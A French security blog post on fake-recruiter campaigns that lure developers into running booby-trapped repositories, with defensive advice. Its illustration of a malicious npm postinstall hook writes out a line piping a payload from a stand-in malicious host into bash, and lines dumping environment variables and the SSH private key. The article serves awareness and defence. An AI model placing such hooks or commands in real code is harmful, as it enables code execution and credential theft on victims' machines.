Le faux recruteur LinkedIn et le dépôt piégé

Aug 19, 2026 min read
Le faux recruteur LinkedIn et le dépôt piégé

Un recruteur, un dépôt à tester, et toute votre prod qui part ?

Nous allons voir comment une simple offre d’emploi sur LinkedIn peut coûter vos clés SSH, vos accès cloud et le réseau de votre entreprise.

A. Contexte

Vous recevez un message sur LinkedIn. Un recruteur, ou un fondateur de startup, qui a lu votre profil et qui cite vos technos. Le projet a l’air intéressant, le salaire est au-dessus du marché. On discute en visio, ça se passe bien. Puis on vous demande de cloner un petit dépôt et de le faire tourner avant l’entretien technique.

Trois étapes anodines, et votre poste est compromis.

Vous allez me dire que c’est un scénario de film. Pas vraiment. Cette attaque est documentée depuis 2023 sous une bonne dizaine de noms différents (Contagious Interview, DeceptiveDevelopment, DEV#POPPER, PurpleBravo) et elle est aujourd’hui complètement industrialisée. Elle vise en priorité des profils comme les nôtres.

Je vous explique.

B. Pourquoi nous, les devs et les ops ?

Je dis bien « les ops », pas « les devops » : le devops n’est pas un métier, c’est une philosophie qui vient se rajouter par-dessus un métier. Mais peu importe l’étiquette, ce qui intéresse l’attaquant, c’est ce qu’il y a sur la machine.

Un attaquant qui veut entrer dans une entreprise a deux options. Il peut forcer le périmètre, c’est-à-dire le pare-feu, le VPN, ce qui est exposé publiquement. C’est long, c’est bruyant, et il y a des gens payés pour surveiller ça. Ou il peut passer par quelqu’un qui a déjà les clés, et devinez laquelle des deux options est la plus rentable.

Sur nos machines, il y a exactement ce qu’il faut :

  • Des clés SSH vers les serveurs de prod
  • Des kubeconfig avec des droits beaucoup trop larges
  • Des credentials cloud dans ~/.aws/credentials, ~/.config/gcloud, des tokens Scaleway ou OVH
  • Des tokens GitLab/GitHub avec accès en écriture aux dépôts
  • Des fichiers .env qui traînent dans une dizaine de projets
  • Un agent SSH déverrouillé et un VPN monté en permanence

Du coup, compromettre le laptop d’un dev ou d’un ops revient à récupérer un accès administrateur à toute la chaîne de production, d’un coup, sans rien forcer.

Les attaquants l’ont bien compris, et le vol de cryptomonnaies n’est pas toujours le but. Le Monde Informatique rapportait en juin 2025 une campagne de 60 paquets npm dont les scripts d’installation se contentaient de collecter noms d’hôtes, adresses IP, configuration DNS et arborescences de répertoires. Rien de spectaculaire, juste une cartographie du réseau de l’entreprise, tranquillement, pour préparer la suite.

Et puis il y a le deuxième facteur, le plus bête de tous : on est sollicités par des recruteurs en permanence. Un message LinkedIn d’un inconnu qui parle d’opportunité, c’est le quotidien du métier. Le bruit de fond est tellement fort qu’un message malveillant passe inaperçu.

C. Comment ça se passe, concrètement

Le scénario est rodé, et c’est celui que Developpez.com décrivait dès avril 2024 sous le nom de campagne DEV#POPPER. Il n’a pas beaucoup changé depuis.

1. Le contact

Un message LinkedIn. Le profil est crédible : photo, historique cohérent, quelques centaines de relations, parfois même des connexions communes avec vous.

Le discours est adapté à votre parcours. Il a lu votre profil, il cite vos technos, il flatte votre expertise. On parle d’une startup Web3, d’un projet crypto en amorçage, ou d’une mission freelance très bien payée. Parfois c’est un « recruteur », parfois directement un « CTO ».

Et LinkedIn n’est pas le seul terrain de chasse. Les chercheurs d’ESET ont documenté les mêmes opérateurs sur Upwork, Freelancer et Crypto Jobs List, avec des profils créés de toutes pièces ou des comptes légitimes détournés.

2. La visio

Un premier appel, souvent très bien mené. La personne en face est à l’aise, pose des questions techniques pertinentes, décrit un produit cohérent. Rien ne cloche, et c’est bien le but de cette étape : construire de la confiance avant la demande qui compte vraiment.

Certaines variantes vont plus loin. La technique dite ClickFix, analysée en détail par ESET, consiste à faire remplir un long formulaire de candidature, puis à demander un enregistrement vidéo. Le site affiche alors une belle erreur de caméra, avec un lien « comment corriger ce problème » qui vous invite à coller une commande dans votre terminal.

La commande ne répare rien, évidemment, elle télécharge et exécute le malware. Et le plus vicieux là-dedans, c’est que le temps déjà investi dans le formulaire est ce qui vous rend docile.

3. Le dépôt

Vient la demande naturelle. « On aimerait que tu regardes notre code. » « Voici un petit exercice technique. » « Tu peux cloner le repo et faire tourner le projet, on en parle demain ? »

Le dépôt existe vraiment. Il a des commits, des issues, parfois plusieurs contributeurs. Il ressemble à un vrai projet parce que c’en est souvent un, forké et modifié.

Un détail doit vous alerter : les attaquants poussent explicitement à exécuter le code hors conteneur, souvent pendant un partage d’écran, avec un « ça marche mal en Docker, lance-le directement ». Les analystes qui suivent ces campagnes relèvent cette pression comme une constante. Si on insiste pour que vous sortiez de votre bac à sable, il y a une raison.

4. L’exécution

Et là, il suffit d’un npm install.

Pas besoin de lancer l’application, ni même d’ouvrir le projet. Le hook postinstall de package.json s’exécute tout seul à l’installation des dépendances :

{
  "scripts": {
    "postinstall": "node index.js"
  }
}

Et dans index.js, trois lignes noyées au milieu d’un fichier légitime de 400 lignes :

const { exec } = require('child_process');
exec('curl http://malicious-server.com/payload.sh | bash', () => {});
exec('env > .env.leak');
exec('cat ~/.ssh/id_rsa >> .env.leak');

Voilà : exécution de code arbitraire, exfiltration de toutes vos variables d’environnement, et vol de votre clé privée SSH. Le tout avant même que vous ayez ouvert le projet dans votre éditeur.

Et ne croyez pas que ce soit une spécificité de npm. preinstall/postinstall en npm, setup.py en Python, un Makefile avec une cible par défaut, un docker-compose.yml qui monte / en volume, un .vscode/tasks.json avec runOn: folderOpen, un fichier de conf Gradle. Le langage change, le mécanisme reste le même.

5. Et maintenant, le dépôt n’est même plus obligatoire

Parce que l’industrialisation est passée à l’étape suivante. Plutôt que de piéger un dépôt et d’attendre le poisson, les attaquants inondent directement les registres publics.

Le Monde Informatique décrivait en décembre 2025 près de 200 paquets npm malveillants pour plus de 31 000 téléchargements, publiés sous des noms typosquattés de bibliothèques légitimes. Et Clubic rapportait en juillet 2026 la campagne PolinRider : 108 paquets uniques, 162 versions malveillantes, réparties sur npm, Packagist, Go et une extension Chrome, cette fois via des comptes de mainteneurs compromis.

Vous voyez le problème ? On n’est plus dans le faux dépôt d’entretien d’embauche. La dépendance piégée peut arriver dans un projet tout ce qu’il y a de légitime, celui sur lequel vous travaillez depuis deux ans.

D. Mais concrètement, qu’est-ce qu’ils récupèrent ?

Tout, et ça ne s’arrête pas à votre machine. Une fois que du code s’exécute sous votre identité :

  • Exécution de code à distance persistante : un cron, un service systemd, une ligne dans ~/.bashrc, parfois carrément une installation d’AnyDesk pour être à l’aise
  • Vol des variables d’environnement, c’est-à-dire tous les secrets que vos outils chargent au démarrage
  • Accès à vos clés SSH et cloud, souvent sans passphrase, parce que « c’est plus pratique pour l’automatisation »
  • Mouvement latéral : depuis votre poste, l’attaquant est déjà dans le VPN, il voit le réseau interne, il atteint les bastions
  • Vol de code source, dumps de bases, secrets applicatifs, avec tout le temps devant lui

Il y a même un usage auquel on ne pense pas, le vol de votre identité professionnelle. ESET documente comment les faux recruteurs collectent CV, pièces d’identité et parcours des candidats, avant de les transmettre à l’opération WageMole, de faux travailleurs IT qui utilisent ces identités pour décrocher eux-mêmes des postes en télétravail. Votre candidature devient la couverture de quelqu’un d’autre. Élégant, non ?

Et le pire dans tout ça, c’est que rien ne casse. L’attaque est silencieuse par conception. Vous continuez à travailler normalement, votre projet tourne, vos tests passent, et l’exfiltration se fait tranquillement en tâche de fond. La détection arrive souvent des semaines plus tard, quand quelqu’un remarque un accès anormal en prod. S’il le remarque.

E. Alors, comment on se protège ?

Il n’y a pas de solution magique, mais il y a une série de réflexes qui, mis bout à bout, rendent l’attaque très difficile.

* Ne jamais exécuter du code qu’on n’a pas lu

C’est la règle de base, et elle est violée en permanence, y compris par des gens très compétents.

Cloner un dépôt ne présente aucun danger. C’est installer ses dépendances ou l’exécuter qui en présente, et entre les deux, il y a une lecture.

Regardez en priorité les points d’entrée automatiques : package.json et sa section scripts, setup.py, Makefile, docker-compose.yml, .github/workflows/, .vscode/, les scripts d’install. Cinq minutes suffisent à repérer la grande majorité des pièges.

# Installer sans exécuter les hooks
npm install --ignore-scripts

# Ou une fois pour toutes
npm config set ignore-scripts true

# Voir ce qui se serait exécuté
cat package.json | jq '.scripts'

Bonne nouvelle sur ce point : GitHub a annoncé en juin 2026 que npm 12 désactive par défaut les scripts preinstall, install et postinstall des dépendances, ainsi que la résolution de dépendances depuis des URL distantes et depuis Git. GitHub qualifie lui-même ces scripts de « plus grande surface d’exécution de code de l’écosystème npm ».

Cela dit, Le Monde Informatique et Silicon rappellent deux choses utiles. D’abord que npm était le dernier grand gestionnaire à conserver ce comportement, pnpm bloquant ces scripts par défaut depuis janvier 2025. Ensuite que les attaquants se reporteront simplement sur d’autres vecteurs. C’est un pansement, pas un remède, donc continuez à lire le code.

* Isoler, systématiquement

Tout code externe se teste dans un environnement jetable. Une VM, un conteneur, une machine dédiée sans accès au reste. Pas votre poste principal, celui qui a l’agent SSH déverrouillé et le VPN monté.

C’est un peu pénible la première fois, et puis ça devient un réflexe. Une VM prête à cloner, un vagrant up ou un multipass launch, et le coût devient marginal.

Attention quand même, un conteneur Docker lancé avec le socket Docker monté, ou en --privileged, n’isole rien du tout. Et lire du code dans un IDE moderne n’est pas neutre non plus, les extensions et les tâches automatiques s’exécutent. Ce n’est pas nouveau d’ailleurs : dès janvier 2021, le Threat Analysis Group de Google décrivait des chercheurs en sécurité compromis par un projet Visual Studio partagé, dont la DLL malveillante s’exécutait via un simple Build Event. Même idée, autre chaîne d’outils.

* Vérifier l’interlocuteur

Un profil LinkedIn crédible se fabrique en une heure, et les campagnes récentes en alignent plus de 180 en parallèle. Ce qui se fabrique difficilement, en revanche, c’est une empreinte cohérente dans le temps :

  • Le compte a-t-il une ancienneté réelle, ou a-t-il été créé il y a trois mois ?
  • L’entreprise citée existe-t-elle vraiment ? Site web, immatriculation, autres employés ?
  • Les relations communes connaissent-elles réellement cette personne, ou l’ont-elles acceptée sans réfléchir ?
  • Le dépôt GitHub a-t-il un historique cohérent, avec des commits étalés dans le temps, des contributeurs identifiables et des issues où on discute vraiment, ou tout a-t-il été poussé la semaine dernière ?
  • La photo de profil survit-elle à une recherche d’image inversée ?

C’est la mécanique de l’hameçonnage ciblé décrite par Cybermalveillance.gouv.fr : un message parfaitement cohérent avec l’activité de la victime, qui usurpe une identité crédible pour la pousser à ouvrir une pièce jointe. Ici la pièce jointe est un dépôt Git, mais le ressort psychologique est le même.

Le signal le plus fiable, ça reste l’urgence. Une vraie entreprise n’a pas besoin que vous exécutiez son code ce soir.

* Réduire la surface

Indépendamment de cette attaque, il y a des réglages qui limitent les dégâts le jour où ça arrive :

  • Clés SSH avec passphrase, et un agent avec un TTL court (ssh-add -t 3600)
  • Pas de secrets longue durée dans les fichiers de conf : gestionnaire de secrets, credentials temporaires, SSO
  • Accès cloud avec des permissions minimales et un MFA
  • Séparation entre le poste perso et le poste pro
  • MFA partout, et en particulier sur GitHub/GitLab
* En cas de doute, en parler

C’est le conseil le plus simple et le plus efficace des cinq.

Ces attaques fonctionnent parce que la victime est seule devant son écran, flattée par une opportunité, et un peu pressée. Montrer le message à un collègue casse le mécanisme immédiatement. Un regard extérieur détecte en trente secondes ce qu’on ne voit pas quand on est personnellement impliqué.

Et si vous pensez avoir exécuté quelque chose, ne minimisez pas. La recommandation des équipes qui traquent ces campagnes est sans ambiguïté : considérez tout poste ayant installé un paquet touché comme intégralement compromis, et faites tourner depuis une machine saine l’ensemble des secrets, npm, GitHub, PyPI, SSH, Slack, identifiants de pipelines CI/CD. Coupez le réseau, prévenez votre équipe sécurité, et réinstallez.

Le coût d’une fausse alerte est ridicule comparé à celui d’une compromission ignorée. En cas d’incident avéré, le CERT-FR publie alertes et bulletins qui aident à qualifier la menace.

Alors en conclusion, on arrête de cloner des dépôts ?

Non, bien sûr. Mais on arrête de les exécuter les yeux fermés.

Ce qu’il faut retenir, c’est que cette attaque ne repose sur aucune faille technique. Pas de zero-day, pas de contournement de chiffrement, pas d’exploit sophistiqué. Elle repose sur deux choses très humaines, notre curiosité et notre confiance. C’est ce qui la rend efficace, et c’est aussi, heureusement, ce qui la rend évitable.

Aucun outil de sécurité ne remplacera le réflexe de lire un package.json avant de lancer un npm install, ni celui d’aller demander l’avis d’un collègue quand quelque chose semble trop beau pour être vrai.

Et surtout, rappelons-nous que le sujet dépasse largement le cadre individuel. En tant que dev ou ops, votre poste de travail est un point d’entrée vers l’ensemble du système d’information. Votre sécurité personnelle, c’est celle de votre équipe, et celle de votre entreprise. C’est une responsabilité qui vient avec les accès qu’on nous confie.

Alors la prochaine fois qu’un recruteur enthousiaste vous envoie un dépôt à tester avant demain matin, prenez cinq minutes pour lire son package.json. C’est probablement le meilleur retour sur investissement de votre carrière.

Sources

-|